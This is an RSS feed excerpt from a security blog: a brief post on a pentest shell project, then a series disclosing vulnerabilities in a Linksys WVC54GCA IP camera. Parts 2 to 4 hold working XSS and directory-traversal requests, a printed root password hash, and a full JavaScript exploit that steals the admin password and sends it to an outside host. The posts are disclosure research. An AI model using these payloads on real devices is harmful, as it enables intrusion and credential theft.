		<category><![CDATA[jeriko]]></category>
		<category><![CDATA[project]]></category>

		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3130</guid>
		<description><![CDATA[With this post I would like to inform you that Jeriko moved in its own source code repository which you will be able to find here. There is also a discussion group here, if you feel like using it.



The version inside the new code repository is very different from the version you&#8217;ve seen before. [...]]]></description>
			<content:encoded><![CDATA[<p>With this post I would like to inform you that Jeriko moved in its own source code repository which you will be able to find <a href="http://code.google.com/p/jeriko/">here</a>. There is also a discussion group <a href="http://groups.google.com/group/Jeriko">here</a>, if you feel like using it.</p>

<div class="screen"><a href="http://www.flickr.com/photos/jannem/3312115991/"><img src="http://farm4.static.flickr.com/3616/3312115991_cc2a483d06.jpg?v=0" alt="Chocolate Tools" /></a></div>

<p>The version inside the new code repository is very different from the version you&#8217;ve seen before. The main difference is that while the old version is basically a collection of scripts, the new version implements its own shell (wrapper around bash) which does the heavily lifting and also introduces some funky programming mechanisms. For example, now you can create jeriko scripts like this:</p>

<pre><code>#/usr/bin/env jeriko
# do my jeriko commands here
foreach-input | add-targets
generate-scan-batch | run-in-parallel</code></pre>

<p>This is perhaps the simplest possible script you can write but you see that the jeriko shell could turn into a quite powerful feature. The shell is also a good starting point for many penetration testing jobs as it does some environment checking and preconfigures some defaults for you. The other good news is that you don&#8217;t have to learn a new programming language. Your bash skills are good for jeriko too.</p>

<p><em>Just keep in mind that jeriko is merely an experiment. However, I realize that it has already become quite useful for some people. So, if you enjoy playing with bash scripts, and you you feel adventurous, please join us and make this project happen.</em></p><p>---<br/>gnucitizen <a href="http://www.gnucitizen.net/gigs">information security gigs</a> part of the <a href="http://www.gnucitizen.net">cutting-edge network</a>:</p><ul><li><a href="http://www.adsosimple.com/" target="_blank">No active items found!</a></li><li><a href="http://www.gnucitizen.org" target="_blank">GNUCITIZEN  NETWORK </a></li></ul><p>---<br/>recent posts from the gnucitizen <a href="http://www.gnucitizen.net/">cutting-edge network</a>:</p><p><a href="http://www.hakiri.org/blog/jerry-rice-on-success/">Jerry Rice on Success</a><br/><a href="http://www.hakiri.org/blog/time-blocking/">Time Blocking</a><br/><a href="http://blog.websecurify.com/2010/03/05-is-up-for-grabs.html">0.5 is up for grabs</a><br/><a href="http://blog.websecurify.com/2010/02/websecurify-05rc1-is-available-for.html">Websecurify 0.5RC1 Is Available for Download</a><br/><a href="http://blog.websecurify.com/2010/02/whats-new-in-websecurify-05.html">What's New in Websecurify 0.5</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/TtNVvmtSyEM" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/jeriko-group-and-source-code-repository/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		<feedburner:origLink>http://www.gnucitizen.org/blog/jeriko-group-and-source-code-repository/</feedburner:origLink></item>
		<item>
		<title>Hacking Linksys IP Cameras (pt 4)</title>
		<link>http://feedproxy.google.com/~r/gnucitizen/~3/MLCS3DSstF8/</link>
		<comments>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-4/#comments</comments>
		<pubDate>Sat, 25 Apr 2009 03:28:38 +0000</pubDate>
		<dc:creator>pagvac</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[camera]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[linksys]]></category>
		<category><![CDATA[pagvac]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3070</guid>
		<description><![CDATA[This article is a continuation of the following GNUCITIZEN articles, which include an introduction to the topic and also some initial observations: Hacking Linksys IP Cameras (pt 1), Hacking Linksys IP Cameras (pt 2), Hacking Linksys IP Cameras (pt 3).

There are two types of vulnerabilities I will be releasing today: disclosure of credentials in client-side source code and multiple XSS. [...]]]></description>
			<content:encoded><![CDATA[<p><em>This article is a continuation of the following GNUCITIZEN articles, which include an introduction to the topic and also some initial observations: <q><a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-1/">Hacking Linksys IP Cameras (pt 1)</a></q>, <q><a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-2/">Hacking Linksys IP Cameras (pt 2)</a></q>, <q><a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/">Hacking Linksys IP Cameras (pt 3)</a></q>.</em></p>

<p>There are two types of vulnerabilities I will be releasing today: disclosure of credentials in client-side source code and multiple XSS.</p>

<h3>Disclosure of Credentials in Client-side Source Code</h3>

<p>As a consumer of embedded products, I find highly frustrating to see how many devices&#8217; web interfaces return passwords back to the browser within HTML source code. I&#8217;ve also seen similar problems in some corporate appliances, but is not such as common problem within the enterprise realm.</p>

<div class="screen"><a href="http://www.flickr.com/photos/stephenjjohnson/2899060572/"><img src="http://farm4.static.flickr.com/3134/2899060572_2f927ef7a0.jpg?v=0" title="CCTV, London 2008"/></a></div>

<p>Visiting the &#8220;change admin password&#8221; page:</p>

<pre><code>/adm/file.cgi?next_file=pass_wd.htm</code></pre>

<p>Causes the current admin password to be returned (just view the source code with your browser):</p>

<pre><code>&lt;input type=&quot;password&quot; size=&quot;8&quot; maxlength=&quot;64&quot; name=&quot;admpw&quot; value=&quot;<strong>C4mP4ssw0rd</strong>&quot; onKeyDown=&quot;chkPsize(this.value.length,64,msg_bigpw)&quot;&gt;</pre></code>

<p>Visiting the "Wireless Security Page":</p>

<pre><code>/adm/file.cgi?next_file=Wsecurity.htm</code></pre>

<p>Causes the Wi-Fi WEP/WPA/WPA2 encryption key to be returned to the browser:</p>

<pre><code>&lt;input type=&quot;text&quot; name=&quot;psk&quot; size=&quot;24&quot; maxlength=&quot;63&quot; value=&quot;<strong>mywirelesskey</strong>&quot;&gt;</code></pre>

<p>Obviously this is bad news, as it means that every time the aforementioned pages are visited, credentials travel the clear (the WVC54GCA IP camera doesn't have SSL/TLS support).</p>

<p>Now, I know there are people out there who might find these types of issues <em>not</em> worth fixing. The following is the thinking behind their reasoning.</p>

<p>In the case of the admin password disclosure, some people would argue that this issue wouldn't make a difference security-wise, since the camera uses <a href="http://en.wikipedia.org/wiki/Basic_access_authentication">basic authentication</a> which transmits credentials in the clear (base64 encoding) anyway.</p>

<p>In the case of the wireless encryption key disclosure, some individuals point out that if you can sniff the Wi-Fi encryption key, it means that either 1) you're already part of the wireless network which means you must already know the key, or 2) you are part of the network via an ethernet connection which means that you don't need the wireless key at all.</p>

<p>So why fix these issues then? Well, think of client-side attacks for instance. If you keep reading I'll show you how you can (for instance) use XSS to steal the admin password from the aforementioned page. If the admin password wasn't returned by the web interface, this attack would not be possible, despite basic authentication being used by the camera.</p>

<h3>Several XSS bugs</h3>

<p>Yes, XSS is the roach of the Internet, it's everywhere and we can't seem to be able to get rid of it! Of course, Linksys IP cameras are no exception. Finding XSS vulns requires virtually no skills (unless you are trying to bypass a strict filter logic). Also, hunting for XSS vulns can be kind of boring. As pdp usually says, "it's not finding XSS bugs which is interesting, but what you can do with it". I couldn't agree more.</p>

<p>Boring PoCs:</p>
<pre><code>/main.cgi?next_file=%3Cimg%20src%3dx%20onerror%3dalert(1)%3E</code></pre>
<pre><code>/img/main.cgi?next_file=%3Cimg%20src%3dx%20onerror%3dalert(1)%3E</code></pre>
<pre><code>/adm/file.cgi?next_file=%3Cscript%3Ealert(1)%3C/script%3E</code></pre>
<pre><code>/adm/file.cgi?todo=xss&#038;this_file=%3cscript%3ealert(1)%3c/script%3e</pre></code>

<p>XSS bug #1 works regardless of the authentication state of the victim user. The rest do require the victim user to be logged-in for the injected JS to run within the context of the camera's domain sandbox.</p>

<p>As you can see in the first two XSS vulns, we use <code>img</code> tags, rather then <code>script</code> tags, due to closing <code>script</code> tags being filtered. Once again, the developers have chosen to perform filtering against some parameters, albeit poor filtering.</p>

<h4>Admin Password theft XSS PoC</h4>

<p>The following is the PoC exploit which steals the admin user's password.</p>

<pre><code>// <strong>evil.js</strong> : malicious JS file, typically located on attacker's site
// payload description: steals Linksys WVC54GCA admin password via XSS
// tested on FF3 and IE7
// based on code from developer.apple.com
function loadXMLDoc(url) {
	req = false;
    	// branch for native XMLHttpRequest object
    	if(window.XMLHttpRequest &amp;&amp; !(window.ActiveXObject)) {
    		try {	
			req = new XMLHttpRequest();
        	} 
		catch(e) {
			req = false;
        	}
    	} 
    	// branch for IE/Windows ActiveX version	
	else if(window.ActiveXObject) {
       		try { 
        		req = new ActiveXObject(&quot;Msxml2.XMLHTTP&quot;);
      		} 
		catch(e)  {
        		try {
          			req = new ActiveXObject(&quot;Microsoft.XMLHTTP&quot;);
        		} 
			catch(e) {
          			req = false;
        		}
		}
    	}
	if(req) {
		req.onreadystatechange = processReqChange;
		req.open(&quot;GET&quot;, url, true);
		req.send(&quot;&quot;);
	}
}
// end of loadXMLDoc(url)

function processReqChange() {
   	// only if req shows &quot;loaded&quot;
    	if (req.readyState == 4) {
        	// only if &quot;OK&quot;
        	if (req.status == 200) { 
			// dirty credentials-scraping code
			var bits=req.responseText.split(/\&quot;/);	
			var gems=&quot;&quot;;
			for (i=0;i&lt;bits.length;++i) { 
                                if(bits[i]==&quot;adm&quot; &amp;&amp; bits[i+1]==&quot; value=&quot;) {      
                               		gems+=&quot;login=&quot;; 
					gems+=bits[i+2];
                                }
                                if(bits[i]==&quot;admpw&quot; &amp;&amp; bits[i+1]==&quot; value=&quot;) {      
                                       	gems+=&apos;&amp;password=&apos;; 
					gems+=bits[i+2];    
                                }
			}
			alert(gems); // this line is for demo purposes only and would be removed in a real attack
			c=new Image();
			c.src=&apos;http://google.com/x.php?&apos;+gems; // URL should point to data-theft script on attacker&apos;s site
        	} 
    	}
}

var url=&quot;/adm/file.cgi?next_file=pass_wd.htm&quot;;
loadXMLDoc(url);</code></pre>

<pre><code>http://192.168.1.115/adm/file.cgi?next_file=%3cscript%20src=http://evil.foo/<strong>evil.js</strong>%3e%3c/script%3e</code></pre>

<p>If you capture the traffic while testing the exploit against yourself you will see the admin login and password being sent to google.com:</p>

<div class="screen"><img src="http://www.gnucitizen.org/static/blog/2009/04/screenshot-eth1-capturing-wireshark1.png" alt="Screenshot eth1 Capturing Wireshark 1" title="Screenshot eth1 Capturing Wireshark 1" width="505" height="189" class="alignnone size-full wp-image-3100" /></div>

<h4>Attack Requirements</h4>

<p>In order for this exploit to work, the camera admin user must be logged in when the attack occurs. This means that a bit of social engineering is required. For instance, the attacker could setup a forum to "help" users of the WVC54GCA camera by providing tips, FAQs, etc. If the attacker is serious he could use <a href="http://www.timesonline.co.uk/tol/driving/article754974.ece">black hat SEO</a> and ad campaigns such as Google AdWords to attract Linksys camera users to visit the site containing the malicious XSS URLs. You get the idea!</p>

<h3>Testing Info</h3>

<p>All Disclosure of Credentials and XSS vulnerabilities successfully tested on:</p>
<ul>
<li>WVC54GCA</li>
<li>Firmware V1.00R22 and V1.00R24 (latest available as on 23rd April 2009)</li>
</ul><p>---<br/>gnucitizen <a href="http://www.gnucitizen.net/gigs">information security gigs</a> part of the <a href="http://www.gnucitizen.net">cutting-edge network</a>:</p><ul><li><a href="http://www.adsosimple.com/" target="_blank">No active items found!</a></li><li><a href="http://www.gnucitizen.org" target="_blank">GNUCITIZEN  NETWORK </a></li></ul><p>---<br/>recent posts from the gnucitizen <a href="http://www.gnucitizen.net/">cutting-edge network</a>:</p><p><a href="http://www.hakiri.org/blog/jerry-rice-on-success/">Jerry Rice on Success</a><br/><a href="http://www.hakiri.org/blog/time-blocking/">Time Blocking</a><br/><a href="http://blog.websecurify.com/2010/03/05-is-up-for-grabs.html">0.5 is up for grabs</a><br/><a href="http://blog.websecurify.com/2010/02/websecurify-05rc1-is-available-for.html">Websecurify 0.5RC1 Is Available for Download</a><br/><a href="http://blog.websecurify.com/2010/02/whats-new-in-websecurify-05.html">What's New in Websecurify 0.5</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/MLCS3DSstF8" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-4/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		<feedburner:origLink>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-4/</feedburner:origLink></item>
		<item>
		<title>Hacking Linksys IP Cameras (pt 3)</title>
		<link>http://feedproxy.google.com/~r/gnucitizen/~3/naGW6csyQ94/</link>
		<comments>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/#comments</comments>
		<pubDate>Thu, 23 Apr 2009 00:52:28 +0000</pubDate>
		<dc:creator>pagvac</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[camera]]></category>
		<category><![CDATA[embedded]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[linksys]]></category>
		<category><![CDATA[pagvac]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3019</guid>
		<description><![CDATA[This article is a continuation of the following GNUCITIZEN articles, which include an introduction to the topic and also some initial observations: Hacking Linksys IP Cameras (pt 1), Hacking Linksys IP Cameras (pt 2).

Unlike the previous two vulnerabilities I released, the vulnerabilities I&#8217;m releasing in this post are perhaps not so useful to break into the device as you need access to the admin account to exploit them. [...]]]></description>
			<content:encoded><![CDATA[<p><em>This article is a continuation of the following GNUCITIZEN articles, which include an introduction to the topic and also some initial observations: <q><a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-1/">Hacking Linksys IP Cameras (pt 1)</a></q>, <q><a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-2/">Hacking Linksys IP Cameras (pt 2)</a></q>.</em></p>

<p>Unlike the <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-1/">previous</a> <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-2/">two</a> vulnerabilities I released, the vulnerabilities I&#8217;m releasing in this post are perhaps not so useful to break into the device as you need access to the admin account to exploit them. Nevertheless, these vulnerabilities might be useful for users who want to hack their Linksys IP cameras for modding purposes, rather than being used by an attacker aiming to crack into someone else&#8217;s camera.</p>

<h3>Two directory traversal vulnerabilities</h3>

<p>Today, instead of releasing just one vulnerability I&#8217;ll be releasing two! These two vulnerabilities have helped me understand more about how the WVC54GCA wireless camera internals and I&#8217;m hoping they will also work on other Linksys camera models. Please let me know if you successfully test them on other models too!</p>

<div class="screen"><a href="http://www.flickr.com/photos/spunkinator/1301627671/"><img src="http://farm2.static.flickr.com/1043/1301627671_de230961cd.jpg?v=1190074318" title="CCTV In Operation"/></a></div>

<p>Both vulnerabilities are of type <strong>directory traversal</strong>, aka <strong>arbitrary file retrieval</strong>, and they both affect the same CGI program: <code>/adm/file.cgi</code>. <em>Please note that these vulnerabilities are different to <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2507">CVE-2004-2507</a>/<a href="http://www.securityfocus.com/bid/10476/exploit">BID 10476</a> which affected <code>/main.cgi</code> instead.</em></p>

<h4>1st directory traversal hole</h4>

<p>It seems that the <code>next_file</code> parameter is not filtered enough when submitted to <code>/adm/file.cgi</code>, so that either of the following requests will return the content of any file whose location is known (<code>/etc/passwd</code> in this case):</p>

<pre><code>/adm/file.cgi?next_file=%2fetc%2fpasswd</code></pre>
<pre><code>/adm/file.cgi?next_file=%2fetc/passwd</code></pre>
<pre><code>/adm/file.cgi?next_file=%2e.%2f%2e.%2f%2e.%2f%2e.%2fetc%2fpasswd</code></pre>

<h4>2nd directory traversal hole</h4>

<p>In the case of the second directory traversal hole, the vulnerable parameter (<code>this_file</code>) is not filtered at all whatsoever. So hex-encoding special symbols is <em>not</em> required:</p>

<pre><code>/adm/file.cgi?todo=pwnage&#038;this_file=/etc/passwd</code></pre>

<p>The following is the content of the Linux <code>passwd</code> file containing the encrypted root password. Remember that the WVC54GCA comes with BusyBox Linux by default which you can confirm by opening <code>bin/busybox</code> with any of the vulnerabilities previously discussed. I&#8217;m curious to know if the <code>passwd</code> file contains the same password on all cameras of the same model, or even if Linksys is also using the same password on other models:</p>

<pre><code>root:9szj4G6pgOGeA:0:0:root:/root:/bin/sh</code></pre>

<p>Notice that when exploiting the first vulnerability, we need to convert forward slashes to <code>%2f</code> which is its hex-encoding equivalent. This is because the developer (poorly) attempted to filter directory traversal sequences when data is submitted via the <code>next_file</code> parameter. In the third example, we also partially hex-encode <code>../</code> sequences in order to avoid being blocked by the script which results in a forbidden error.</p>

<p>Needless to say, if the root password is not too strong you should be able to crack it using <a href="http://www.openwall.com/john/">john</a> or you favorite password cracking tool. I loaded passwd with john for a few hours on an old laptop and nothing was found, so I&#8217;m guessing the root password is not extremely weak. If you model comes with the telnet daemon running by default, cracking that password should give you root shell access.</p>

<p>Unfortunately, as I mentioned in the <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-1/">first post</a> of these series, the WVC54GCA camera comes with a telnet daemon included, but it&#8217;s off by default. I haven&#8217;t managed to enable the telnet daemon and get a remote root shell yet although I suspect it might be possible by <a href="http://brooknet.no-ip.com/~lex/public/WVC54G/">modifying</a> the bin firmware image and uploading it again.</p>

<h4>What can we do with these vulnerabilities?</h4>

<p>Well, I tried finding files that contain interesting information that helps you understand the camera better. The following are some examples:</p>

<ul>
<li><code>/etc/passwd</code> : traditional-DES-format password file with no salt</li>
<li><code>/usr/local/www/img/.htpasswd</code> : HTTP credentials stored in cleartext</li>
<li><code>/usr/local/www/adm/.htpasswd</code> : contains same data as previous file</li>
<li><code>/etc/system.conf</code> : all camera settings stored in cleartext including admin password, wifi encryption key, etc &#8230;</li>
<li><code>/usr/local/bin/thttpd.conf</code> : web server config file confirming the daemon runs as root, which is the only system account present anyway</li>
<li><code>/etc/init.d/rcS</code>  :  here we see the line that starts the telnet daemon (<code>/usr/sbin/telnetd</code>) commented out</li>
<li><code>/etc/def_sys.conf</code> : camera&#8217;s default settings</li>
<li><code>/etc/system.conf</code> : camera&#8217;s current settings</li>
<li><code>/var/nc.log</code> : network connections logs</li>
<li><code>/etc/group</code></li>
<li><code>/etc/inittab</code></li>
<li><code>/proc/cpuinfo</code> : processor details</li>
<li><code>/proc/meminfo</code></li>
<li><code>/proc/version</code> : OS details</li>
<li><code>/proc/uptime</code></li>
</ul>

<p>Finding a file upload vulnerability should allow us to overwrite the <code>/etc/init.d/rcS</code> file and eventually manage to start the telnet server after reboot. By overwriting the <code>/etc/passwd</code> file with our own we should be able to add our own root password. Unfortunately, I haven&#8217;t discovered any vulnerability that would allow me to upload files to arbirary locations. If you do discover one, please let me know. I&#8217;d love to hear the details.</p>

<h3>Testing Info</h3>

<p>Directory traversal vuln #1 successfully tested on:</p>
<p><ul>
<li>WVC54GCA</li>
<li>Firmware V1.00R22 and V1.00R24 (latest available as on 23rd April 2009)</li>
</ul>

<p>Directory traversal vuln #2 successfully tested on:</p>
<p><ul>
<li>WVC54GCA</li>
<li>V1.00R24 (latest available as on 23rd April 2009)</li>
</ul>
<p>Although I never tested the second traversal vulnerability on Firmware V1.00R22, I definitely suspect it will work on this previous firmware version as well.</p>
<p><em>Please note that the aforementioned vulnerabilities are different to <a href="http://www.securityfocus.com/bid/10476/exploit">BID 10476</a> which affected the <code>/main.cgi</code> program rather than <code>/adm/file.cgi</code>.</em></p><p>---<br/>gnucitizen <a href="http://www.gnucitizen.net/gigs">information security gigs</a> part of the <a href="http://www.gnucitizen.net">cutting-edge network</a>:</p><ul><li><a href="http://www.adsosimple.com/" target="_blank">No active items found!</a></li><li><a href="http://www.gnucitizen.org" target="_blank">GNUCITIZEN  NETWORK </a></li></ul><p>---<br/>recent posts from the gnucitizen <a href="http://www.gnucitizen.net/">cutting-edge network</a>:</p><p><a href="http://www.hakiri.org/blog/jerry-rice-on-success/">Jerry Rice on Success</a><br/><a href="http://www.hakiri.org/blog/time-blocking/">Time Blocking</a><br/><a href="http://blog.websecurify.com/2010/03/05-is-up-for-grabs.html">0.5 is up for grabs</a><br/><a href="http://blog.websecurify.com/2010/02/websecurify-05rc1-is-available-for.html">Websecurify 0.5RC1 Is Available for Download</a><br/><a href="http://blog.websecurify.com/2010/02/whats-new-in-websecurify-05.html">What's New in Websecurify 0.5</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/naGW6csyQ94" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/feed/</wfw:commentRss>
		<slash:comments>21</slash:comments>
		<feedburner:origLink>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/</feedburner:origLink></item>
		<item>
		<title>Hacking Linksys IP Cameras (pt 2)</title>
		<link>http://feedproxy.google.com/~r/gnucitizen/~3/PJt6KPz8WQ0/</link>
		<comments>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-2/#comments</comments>
		<pubDate>Mon, 20 Apr 2009 22:27:14 +0000</pubDate>
		<dc:creator>pagvac</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[camera]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[linksys]]></category>
		<category><![CDATA[pagvac]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">https://www.gnucitizen.org/?p=2978</guid>
		<description><![CDATA[This article is a continuation of the following GNUCITIZEN article, which includes an introduction to the topic and also some initial observations: Hacking Linksys IP Cameras (pt 1).

Privilege escalation via arbitrary file retrieval

The second vulnerability I&#8217;ll be releasing is an arbitrary(ish) file retrieval vulnerability. It&#8217;s not fully arbitrary because you can only retrieve the contents of files located within the same directory where the vulnerable CGI program is located. [...]]]></description>
			<content:encoded><![CDATA[<p><em>This article is a continuation of the following GNUCITIZEN article, which includes an introduction to the topic and also some initial observations: <q><a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-1/">Hacking Linksys IP Cameras (pt 1)</a></q>.</em></p>

<h3>Privilege escalation via arbitrary file retrieval</h3>

<p>The second vulnerability I&#8217;ll be releasing is an arbitrary(ish) file retrieval vulnerability. It&#8217;s not fully arbitrary because you can only retrieve the contents of files located within the same directory where the vulnerable CGI program is located. However, this is enough to allow a neat privilege escalation vector where a restricted user that only has permissions to view the video stream, can gain access to the <code>admin</code> account password.</p>

<div class="screen"><a href="http://www.flickr.com/photos/adselwood/2724733530/"><img src="http://farm4.static.flickr.com/3095/2724733530_1d7c6b12b0.jpg?v=0" title="Fire Surveillance HDR"/></a></div>

<p>The problem lies within the <code>next_file</code> parameter which is submitted to the <code>main.cgi</code> program. Although <code>main.cgi</code> <em>does</em> filter characters typically used in directory traversal sequences such as dots (<code>.</code>) and forward slashes (<code>/</code>), it seems that the developer didn&#8217;t consider that retrieving the contents of files within the current directory could create a security hole. By simply retrieving the contents of <code>.htpasswd</code> a restricted user which only has permissions to access the video stream can access the credentials of the <code>admin</code> account and also the credentials of other restricted users (if applicable).</p>

<p>The only restriction that needs to be bypassed, is dots (<code>.</code>) symbols being filtered. i.e.: the following will <em>not</em> work and will result in a forbidden error:</p>

<pre><code>/img/main.cgi?next_file=.htpasswd</code></pre>

<p>But replacing the dot (<code>.</code>) symbol with its hexadecimal equivalent:</p>

<pre><code>/img/main.cgi?next_file=%2ehtpasswd</code></pre>

<p>Will result in the contents of <code>.htpasswd</code> being returned. i.e.:</p>

<pre><code>admin:adminpassw0rd user1:pass1 user2:pass2</code></pre>

<p>Like most IP cameras, the Linksys WVC54GCA allows administrators to grant access to the video stream to selected users only (rather than anonymous users who don&#8217;t need to authenticate). In this case, the admin user can click on the <code>Users</code> menu and tick the <code>Only users in database</code> option (please see screenshot below). After this, all that is needed is to add a username/password pair for the account to grant video-viewing access to:</p>

<div class="screen"><img src="http://www.gnucitizen.org/static/blog/2009/04/video_user_accounts.png" alt="Video User Accounts" title="Video User Accounts" width="489" height="227" class="alignnone size-full wp-image-2990" /></div>

<p>Well, the feature discussed above can be rendered useless by exploiting the vulnerability I have described, since <strong>it allows restricted users to retrieve the admin password</strong>.</p>

<h3>Testing Info</h3>

<p>Successfully tested on:</p>
<p><ul>
<li>WVC54GCA</li>
<li>Firmware V1.00R22 and V1.00R24 (latest available as on 20th April 2009)</li>
</ul>

<p><em>Please note that this vulnerability is different to <a href="http://www.securityfocus.com/bid/10476/exploit">BID 10476</a> which affected the <code>/main.cgi</code> program rather than <code>/img/main.cgi</code>.</em></p><p>---<br/>gnucitizen <a href="http://www.gnucitizen.net/gigs">information security gigs</a> part of the <a href="http://www.gnucitizen.net">cutting-edge network</a>:</p><ul><li><a href="http://www.adsosimple.com/" target="_blank">No active items found!</a></li><li><a href="http://www.gnucitizen.org" target="_blank">GNUCITIZEN  NETWORK </a></li></ul><p>---<br/>recent posts from the gnucitizen <a href="http://www.gnucitizen.net/">cutting-edge network</a>:</p><p><a href="http://www.hakiri.org/blog/jerry-rice-on-success/">Jerry Rice on Success</a><br/><a href="http://www.hakiri.org/blog/time-blocking/">Time Blocking</a><br/><a href="http://blog.websecurify.com/2010/03/05-is-up-for-grabs.html">0.5 is up for grabs</a><br/><a href="http://blog.websecurify.com/2010/02/websecurify-05rc1-is-available-for.html">Websecurify 0.5RC1 Is Available for Download</a><br/><a href="http://blog.websecurify.com/2010/02/whats-new-in-websecurify-05.html">What's New in Websecurify 0.5</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/PJt6KPz8WQ0" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-2/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		<feedburner:origLink>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-2/</feedburner:origLink></item>
		<item>
		<title>Hacking Linksys IP Cameras (pt 1)</title>
		<link>http://feedproxy.google.com/~r/gnucitizen/~3/L70Pxgeh0oI/</link>
		<comments>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-1/#comments</comments>
		<pubDate>Mon, 20 Apr 2009 07:40:35 +0000</pubDate>
		<dc:creator>pagvac</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[camera]]></category>
		<category><![CDATA[embedded]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[linksys]]></category>
		<category><![CDATA[pagvac]]></category>
		<category><![CDATA[project]]></category>
		<category><![CDATA[research]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">https://www.gnucitizen.org/?p=2899</guid>
		<description><![CDATA[During the easter break, I was playing with my my wireless Linksys IP camera which, although I bought several months ago, I hadn&#8217;t taken my time to give the attention this beauty deserves until now! :)

The model in particular is the WVC54GCA, which I would say is one of the most affordable Wi-Fi IP cameras out there (about GBP 80 in the UK), making it a great toy to tinker with. [...]]]></description>
			<content:encoded><![CDATA[<p>During the easter break, I was playing with my my wireless Linksys IP camera which, although I bought several months ago, I hadn&#8217;t taken my time to give the attention this beauty deserves until now! :)</p>

<p>The model in particular is the <a href="http://www.linksysbycisco.com/US/en/products/WVC54GCA">WVC54GCA</a>, which I would say is one of the most affordable Wi-Fi IP cameras out there (about GBP 80 in the UK), making it a great toy to tinker with.</p>

<div class="screen"><a href="http://www.flickr.com/photos/joachim_s_mueller/747735445/"><img src="http://farm2.static.flickr.com/1008/747735445_40437249ec.jpg?v=0" title="Surveillance"/></a></div>

<p>I found the camera to be quite good functionalities-wise, although I&#8217;ve experienced availability problems with it. It seems the camera freezes every once in a while. Well, this is true at least when you heavily customized its configuration which is what I&#8217;ve ultimately done after playing so much with it.</p>

<p>I&#8217;ve loved playing with embedded devices for a while, and as a security researcher I find it quite an interesting topic as many <q>de facto</q> security principles that are usually (attempted to be) followed when designing other types of systems are <em>not</em> often applied to embedded devices. This, I believe is due to lack of limitations in hardware resources, and lack of awareness on consequences of getting a miscellaneous device compromised. i.e.: <q>who cares if my IP camera gets owned?</q></p>

<p><em>During the next days, I&#8217;ll be posting some vulnerabilities I&#8217;ve found. Some of them are fun and serious, while others you might find kind of boring</em>.</p>

<h3>Meet the target</h3>

<p>You can learn a lot about the specs of a device by simply reading the product&#8217;s literature. However, sometimes not enough info is provided in these documents. The following are some of the specs I confirmed by interacting with the camera in various ways:</p>

<ul>
<li>CPU: <code>Faraday FA526id(wb) rev 1 (v4l)</code> according to <code>/proc/cpuinfo</code></li>
<li>OS: <code>Linux version 2.4.19-pl1029</code> according to <code>/proc/version</code> plus Busybox (confirmed as the file <code>/bin/busybox</code> exists on the filesystem)</li>
<li>HTTPD: <code>thttpd 2.25b</code> (extracted from banner returned on default html error pages and &#8216;Server:&#8217; HTTP headers)</li>
<li>Memory:30908 kB (32 MB?) according to <code>/proc/meminfo</code></li>
<li>Firmware Version: V1.00R22 and <a href="http://downloads.linksysbycisco.com/downloads/WVC54GCA_FW_100R24,0.zip">V1.00R24</a> (latest version available as on 16th April 2009)</li>
</ul>

<p>It also comes with a telnet daemon (<code>/usr/sbin/telnetd</code>) but unfortunately for hackers out there, the daemon is disabled as the following line is commented out on <code>/etc/init.d/rcS</code>:</p>

<pre><code># ---- Start Telnet Server (debug) ---- #<br />
#/usr/sbin/telnetd &#038;</code></pre>

<p>I have not yet managed to get a remote root shell by enabling the telnet daemon but have found some vulnerabilities which might help accomplishing this goal. I will be releasing these vulnerabilities in the next days. Please let me know if you know how to enable the telnet daemon on Linksys IP cameras! Ideally, I&#8217;d like to accomplish this without physically connecting to the camera or flashing the firmware.</p>

<h3>Remote admin compromise by unauthenticated attackers due to wizard design error</h3>

